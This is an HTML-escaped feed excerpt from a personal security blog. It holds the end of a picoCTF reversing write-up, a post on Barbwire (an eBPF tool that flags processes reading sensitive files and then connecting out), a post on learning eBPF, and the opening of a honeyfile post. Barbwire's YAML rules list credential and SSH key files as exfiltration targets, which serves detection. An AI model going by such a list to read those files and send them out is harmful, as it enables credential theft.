&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; [int&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;from_bytes(data[i : i &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;], &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;little&amp;#34;&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; i &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; range(&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, len(data), &lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;)]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;lines &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;with&lt;/span&gt; open(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;dumps.txt&amp;#34;&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;as&lt;/span&gt; f:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; _ &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; range(&lt;span style=&#34;color:#ae81ff&#34;&gt;33&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        l &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; _ &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; range(&lt;span style=&#34;color:#ae81ff&#34;&gt;9&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            l&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;append(f&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;readline()&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;strip(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        lines&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;append(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;join(l))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;base &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;x&lt;span style=&#34;color:#f92672&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;flag &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; second, line &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; enumerate(lines):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; second &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;=&lt;/span&gt; len(dword_4020):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;break&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ptrs &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; parse_dump(line)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    idx &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; dword_4020[second]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ptr &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; ptrs[idx]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    offset &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; ptr &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; base
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    char &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; func_map&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;get(offset, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;?&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    flag&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;append(char)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    print(&lt;span style=&#34;color:#e6db74&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;second &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;second&lt;span style=&#34;color:#e6db74&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;02d&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;: idx=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;idx&lt;span style=&#34;color:#e6db74&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;#x&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt; offset=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;offset&lt;span style=&#34;color:#e6db74&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;#x&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt; char=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;char&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;print(&lt;span style=&#34;color:#e6db74&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;Flag: &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;join(flag)&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now, there is a bit of a timing requirement to this challenge, as the first time I ran it, it was some random output. But when I ran it again, it worked. I got:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/jitfp/20.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;the-flag&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;I still didn&amp;rsquo;t get the &amp;lsquo;p&amp;rsquo; in &amp;lsquo;picoCTF&amp;rsquo; for some reason, but I could fill it, submit it and get the points. This was such a cool challenge, that I had to rethink everything again and again and again. And the part where the function pointer array getting randomized for every second execpt for the right index was absolutely devious. Loved it.&lt;/p&gt;
</description>
        </item>
        <item>
        <title>Barbwire: an eBPF based behavioral correlator</title>
        <link>https://itsmonish.pages.dev/blog/barbwire/</link>
        <pubDate>Sun, 08 Mar 2026 16:42:18 +0530</pubDate>
        
        <guid>https://itsmonish.pages.dev/blog/barbwire/</guid>
        <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction
&lt;/h2&gt;&lt;p&gt;After the eBPF learning phase I wrote about in the &lt;a class=&#34;link&#34; href=&#34;https://itsmonish.pages.dev/blog/learning-ebpf&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;last post&lt;/a&gt;, I wanted to build something that looked like a real security tool. Not because I thought I&amp;rsquo;d ship it, but because the programs I tried before where stupid. At some point you need a problem with actual constraints.&lt;/p&gt;
&lt;p&gt;Barbwire is that project. It&amp;rsquo;s a lightweight behavioral correlator for Linux. It watches for processes that open sensitive files and then make network connections within a short time window. This is classic exfil behavior and rough fingerprint for credential harvesting and so on. It&amp;rsquo;s not a production EDR. It&amp;rsquo;s an experiment. It&amp;rsquo;s on my &lt;a class=&#34;link&#34; href=&#34;https://github.com/ItsMonish/barbwire&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;Github&lt;/a&gt; if anyone&amp;rsquo;s interested.&lt;/p&gt;
&lt;h2 id=&#34;the-core-design-decision&#34;&gt;The core design decision
&lt;/h2&gt;&lt;p&gt;The first instinct when building something with eBPF is to put logic in the BPF side. It&amp;rsquo;s running in the kernel, it&amp;rsquo;s fast, why not do the correlation there?&lt;/p&gt;
&lt;p&gt;I thought about it and decided against it early. The BPF verifier gets unhappy with complex logic. It&amp;rsquo;s harder to debug, less portable across kernel versions, and for this use case, unnecessary. Userspace is fast enough. The design I landed on: BPF is a dumb data collector, userspace does the thinking.&lt;/p&gt;
&lt;p&gt;The BPF side attaches tracepoints to three syscalls. &lt;code&gt;sys_enter_openat&lt;/code&gt; for file opens, &lt;code&gt;sys_enter_connect&lt;/code&gt; for network connections, and &lt;code&gt;sys_enter_execve&lt;/code&gt; for process execution to track lineage. All three write into a single shared ring buffer with an event type field. Userspace reads and routes.&lt;/p&gt;
&lt;p&gt;I used a ring buffer over a perf event array deliberately. Perf event arrays are per-CPU, so you have to poll multiple buffers and deal with out-of-order events. A ring buffer is a single shared buffer, better throughput, simpler consumer. So obviously I wanted the path of least resistance.&lt;/p&gt;
&lt;h2 id=&#34;how-correlation-and-scoring-works&#34;&gt;How correlation and scoring works
&lt;/h2&gt;&lt;p&gt;On the userspace side, three in-memory maps hold state. Recent file opens per PID, process lineage from exec events, and a deduplication map to avoid alerting on the same PID repeatedly. A cleanup goroutine evicts stale entries every 30 seconds.&lt;/p&gt;
&lt;p&gt;The correlation window is configurable. I have it set to 5 seconds. When a connect event comes in, Barbwire looks back at that PID&amp;rsquo;s recent file opens and checks if any fall within the window. If they do, it scores the pair.&lt;/p&gt;
&lt;p&gt;Scoring is based on file and connect pairs, not individual signals. A process connecting to the network is normal. Opening &lt;code&gt;/etc/passwd&lt;/code&gt; on its own is normal. Both within 5 seconds is suspicious. The score comes from which file category was accessed:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-yaml&#34; data-lang=&#34;yaml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;suspicious_files&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  - &lt;span style=&#34;color:#f92672&#34;&gt;category&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;credential access&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;base_score&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;patterns&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;/etc/passwd&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;/etc/shadow&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;/.aws/credentials&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  - &lt;span style=&#34;color:#f92672&#34;&gt;category&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;ssh key exfiltration&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;base_score&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;patterns&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;.ssh/id_rsa&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;.ssh/id_ed25519&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Process lineage modifies the score up or down. A shell spawning a process that reads credentials and connects out is more suspicious than the same behavior happening under systemd:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-yaml&#34; data-lang=&#34;yaml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;suspicious_parents&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  - &lt;span style=&#34;color:#f92672&#34;&gt;comm&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;bash&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;modifier&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  - &lt;span style=&#34;color:#f92672&#34;&gt;comm&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;sshd&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;modifier&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;legit_parents&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  - &lt;span style=&#34;color:#f92672&#34;&gt;comm&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;systemd&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;modifier&lt;/span&gt;: -&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  - &lt;span style=&#34;color:#f92672&#34;&gt;comm&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;dockerd&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;modifier&lt;/span&gt;: -&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Alert threshold and severity thresholds are decoupled. The threshold decides if the alert is an actual alert, severity is a classification of the alert. When a connect event comes in, Barbwire picks the highest scoring file match for that PID and emits one alert. One alert per connect event per process, no duplicates (hopefully).&lt;/p&gt;
&lt;p&gt;A fired alert looks like this:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;┌─ barbwire alert — PID 41890  ─────────────
│  command  : python
│  file     : /etc/passwd
│  connect  : 2404:6800:4007:821::200e:80
│  severity : HIGH
│  reasons  : credential access, suspicious parent: fish
│  parent   : fish (pid 13387)
│  gparent  : tmux: server (pid 9483)
└─────────────────────────────────────────────
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&#34;my-screwups-while-building-it&#34;&gt;My Screwups while building it
&lt;/h2&gt;&lt;p&gt;A few things broke in ways that were actually instructive. The first one was actually two bugs hiding behind each other, which made it genuinely annoying to debug.&lt;/p&gt;
&lt;p&gt;There was a constant mismatch between the C and Go sides. &lt;code&gt;EVENT_EXEC&lt;/code&gt;, the event type for &lt;code&gt;sys_enter_execve&lt;/code&gt; tracepoint, was 2 and &lt;code&gt;EVENT_CONNECT&lt;/code&gt;, the event type for &lt;code&gt;sys_enter_connect&lt;/code&gt;, was 3 in the BPF code, but I had them swapped in Go. At the same time, I had attached the exec tracepoint and called Close() on it immediately without a defer, so it detached right after attaching (Yeah this is embrassing).&lt;/p&gt;
&lt;p&gt;The symptom was simple, in terms of events I had none. Thing was execve events were being routed to the connect handler. Since those events carry no IP address family, they got dropped as invalid. Meanwhile connect events were being routed to the exec handler, which was already closed. Everything was failing quietly in a different place than where I was looking.&lt;/p&gt;
&lt;p&gt;I spent a while staring at the correlation logic before going back to basics and checking whether the tracepoints were even active. Once I caught the missing defer, connect events started showing up, but in the wrong handler. That&amp;rsquo;s when I found the swapped constants. Two separate bugs, one symptom, neither pointing at the other. Really annoying&lt;/p&gt;
&lt;p&gt;The most useful bug involved stale memory in the event struct. &lt;code&gt;bpf_ringbuf_reserve&lt;/code&gt; gives you a pointer to uninitialized memory. If you skip the &lt;code&gt;__builtin_memset&lt;/code&gt; before writing your fields, whatever was in memory from the previous event bleeds into the fields you didn&amp;rsquo;t set. I had filenames with garbage characters appended, leftovers from longer filenames earlier in the buffer. The fix is one line. But you have to know it&amp;rsquo;s needed.&lt;/p&gt;
&lt;h2 id=&#34;limitations-and-takeaways&#34;&gt;Limitations and takeaways
&lt;/h2&gt;&lt;p&gt;The biggest problem with Barbwire is the one that can&amp;rsquo;t be tuned away.&lt;/p&gt;
&lt;p&gt;For example, &lt;code&gt;curl&lt;/code&gt; reads &lt;code&gt;/etc/passwd&lt;/code&gt; on every invocation. Here is it making the call:
&lt;img src=&#34;https://itsmonish.pages.dev/images/barbwire/1.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;curl opening passwd&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Not because it&amp;rsquo;s malicious, but because that&amp;rsquo;s how it works. I believe, basically any program using libc networking does this. Barbwire flags it every time. No matter how hard I tuned the knobs, I couldn&amp;rsquo;t get rid of such alerts. Then it hit me, single-process correlation without broader context has a ceiling.&lt;/p&gt;
&lt;p&gt;Evidently, production security tools handle this differently. Binary hash whitelisting instead of process name matching, which is spoofable. Process ancestry graphs that track behavioral chains across multiple processes. Behavioral baselines built up over time. A shell that reads &lt;code&gt;/etc/passwd&lt;/code&gt; and then forks a child that connects out would be caught by a graph-based correlator. Barbwire misses it because the file open and the connect are in different PIDs.&lt;/p&gt;
&lt;p&gt;Building this made that limitation concrete in a way I don&amp;rsquo;t think I&amp;rsquo;d have gotten from just reading about EDR design. Honestly, I never even thought of these before. You also understand why process ancestry graphs exist when your tool fails exactly where they&amp;rsquo;d succeed.&lt;/p&gt;
&lt;p&gt;The other thing I took away: the BPF to userspace boundary is unforgiving. Memory layout, pointer semantics, which helper functions apply where, what the verifier accepts. The documentation covers the what, but the why only shows up when things break.&lt;/p&gt;
&lt;p&gt;All things considered, I had fun with all this. That&amp;rsquo;s the whole point if you think about it.&lt;/p&gt;
</description>
        </item>
        <item>
        <title>I wanted to poke at the Linux kernel. eBPF was the answer</title>
        <link>https://itsmonish.pages.dev/blog/learning-ebpf/</link>
        <pubDate>Sat, 07 Mar 2026 20:32:58 +0530</pubDate>
        
        <guid>https://itsmonish.pages.dev/blog/learning-ebpf/</guid>
        <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction
&lt;/h2&gt;&lt;p&gt;A while back I came across &lt;a class=&#34;link&#34; href=&#34;https://blog.cloudflare.com/how-cloudflare-auto-mitigated-world-record-3-8-tbps-ddos-attack/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;Cloudflare&amp;rsquo;s writeup&lt;/a&gt; on how they mitigated a 3.8 Tbps DDoS attack, the largest ever disclosed publicly at the time. The post goes deep into how their systems detected and dropped attack traffic autonomously (quite interesting stuff). One part that caught my eye: they used XDP and eBPF to drop packets directly at the NIC level, before the kernel network stack even saw them. I had zero clue on what eBPF was back then. I thought that was interesting, bookmarked it, and then forgot about it (Yeah I do that a lot).&lt;/p&gt;
&lt;p&gt;When I eventually got around to it, I was looking to get into lower level Linux stuff anyway. How the kernel works, how you can poke at it from the outside. eBPF kept coming up. I also saw it framed as a safer alternative to writing kernel modules for certain use cases. That part made immediate sense to me, because writing kernel modules means one bad pointer dereference and your machine is just down. So I thought maybe I could look into it seriously.&lt;/p&gt;
&lt;h2 id=&#34;what-even-is-ebpf&#34;&gt;What even is eBPF
&lt;/h2&gt;&lt;p&gt;eBPF lets you run sandboxed programs inside the Linux kernel without modifying the kernel source or loading a module. Before your program runs, the kernel verifies it. No unbounded loops, no out-of-bounds memory access, every code path has to terminate. If it doesn&amp;rsquo;t pass, it doesn&amp;rsquo;t load. However it doesn&amp;rsquo;t mean it&amp;rsquo;s bullet-proof, I still found some bugs and weird things happen now and then. But it catches the most obvious ones.&lt;/p&gt;
&lt;p&gt;Evidently, it started as Berkeley Packet Filter, which was just a way to filter network packets efficiently. The &amp;ldquo;extended&amp;rdquo; part came later and expanded it well beyond that when people wanted better tracing options when debugging inside the kernel. These days it shows up in observability tools, performance profilers, security products, and a lot of infrastructure tooling that runs quietly in the background of production systems.&lt;/p&gt;
&lt;h2 id=&#34;how-i-learned-it&#34;&gt;How I learned it
&lt;/h2&gt;&lt;p&gt;I started reading &lt;a class=&#34;link&#34; href=&#34;https://www.oreilly.com/library/view/learning-ebpf/9781098135119/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;Learning eBPF&lt;/a&gt; by Liz Rice and went through it cover to cover. It builds up a solid mental model of how everything fits together, the verifier, maps, ring buffers, CO-RE, without throwing you into kernel internals from page one. Great book, would recommend it if you&amp;rsquo;re starting out.&lt;/p&gt;
&lt;p&gt;After that I spent time staring and reading through examples at &lt;a class=&#34;link&#34; href=&#34;https://github.com/libbpf/libbpf-bootstrap&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;libbpf-bootstrap&lt;/a&gt; and &lt;a class=&#34;link&#34; href=&#34;https://github.com/cilium/ebpf/tree/main/examples&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;cilium/ebpf&lt;/a&gt;. That was just to see how things are done in real projects and scripts.&lt;/p&gt;
&lt;p&gt;Then I started writing stuff. A per-process file access counter. A pure C rough version of what would eventually become &lt;a class=&#34;link&#34; href=&#34;https://github.com/ItsMonish/barbwire&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;Barbwire&lt;/a&gt;. None of it was useful or anything. It was just to get familiar with the toolchain, get yelled at by the verifier, figure out why and repeat.&lt;/p&gt;
&lt;h2 id=&#34;what-i-liked-about-ebpf&#34;&gt;What I liked about eBPF
&lt;/h2&gt;&lt;p&gt;A couple of things genuinely impressed me.&lt;/p&gt;
&lt;p&gt;The first was CO-RE, which stands for Compile Once, Run Everywhere. Despite my reservations on Java, I always thought the idea of Code once, run everywhere was pretty neat (Thanks to JVM). CO-RE brings the same thing to Linux kernel programming. It handles struct field offset relocations across kernel versions, so your program isn&amp;rsquo;t silently tied to the exact kernel it was compiled against. Without it, anything that walks kernel structs like &lt;code&gt;task_struct&lt;/code&gt; breaks the moment you run it on a different machine. With it, the same binary works across versions. It is remarkable as far as I can tell.&lt;/p&gt;
&lt;p&gt;The second was how dynamic the whole thing is. With kernel modules you write code, compile, load, and if something goes wrong you restart. With eBPF you attach programs to running systems and detach them without rebooting or disrupting anything. For observability and containers especially, that matters a lot. You can instrument a live system, see what you need, and pull the probe out. No downtime, no risk of leaving a bad module loaded.&lt;/p&gt;
&lt;h2 id=&#34;what-came-next&#34;&gt;What came next
&lt;/h2&gt;&lt;p&gt;After a few weeks of experiments I felt ready to build something with an actual purpose. That became Barbwire, a lightweight behavioral correlator that watches for processes opening sensitive files and then making network connections. I&amp;rsquo;ll write about that in the next post.&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s not a production security tool. It&amp;rsquo;s an experiment. But building it was a good reason to use eBPF for something real instead of just counting file accesses forever.&lt;/p&gt;
</description>
        </item>
        <item>
        <title>Honeyfused: An intrusion detection script using FUSE filesystem</title>
        <link>https://itsmonish.pages.dev/blog/honeyfused/</link>
        <pubDate>Tue, 26 Aug 2025 18:24:58 +0530</pubDate>
        
        <guid>https://itsmonish.pages.dev/blog/honeyfused/</guid>
        <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction
&lt;/h2&gt;&lt;p&gt;First things first, what is Honeyfused? It&amp;rsquo;s a fun little side project that I spent some time on. It is on my &lt;a class=&#34;link&#34; href=&#34;https://github.com/ItsMonish/honeyfused&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;github repo&lt;/a&gt; if anyone&amp;rsquo;s interested.&lt;/p&gt;
&lt;p&gt;Honeyfused is in a sense an intrusion detection application using honey-files. The program emulates filesystem mounted on directories and presents files that are actually not part of the original filesystem. Since the program emulates folders that usually contains secrets and API keys, intruders and infostealers may try to access it and possibly exfil the files. Since we control the filesystem, we can generate alerts whenever the file is accessed or modified. That is the gist of it. In this article you&amp;rsquo;ll find why I did this, how I did this and things like that.&lt;/p&gt;
&lt;h2 id=&#34;how-did-i-get-here&#34;&gt;How did I get here?
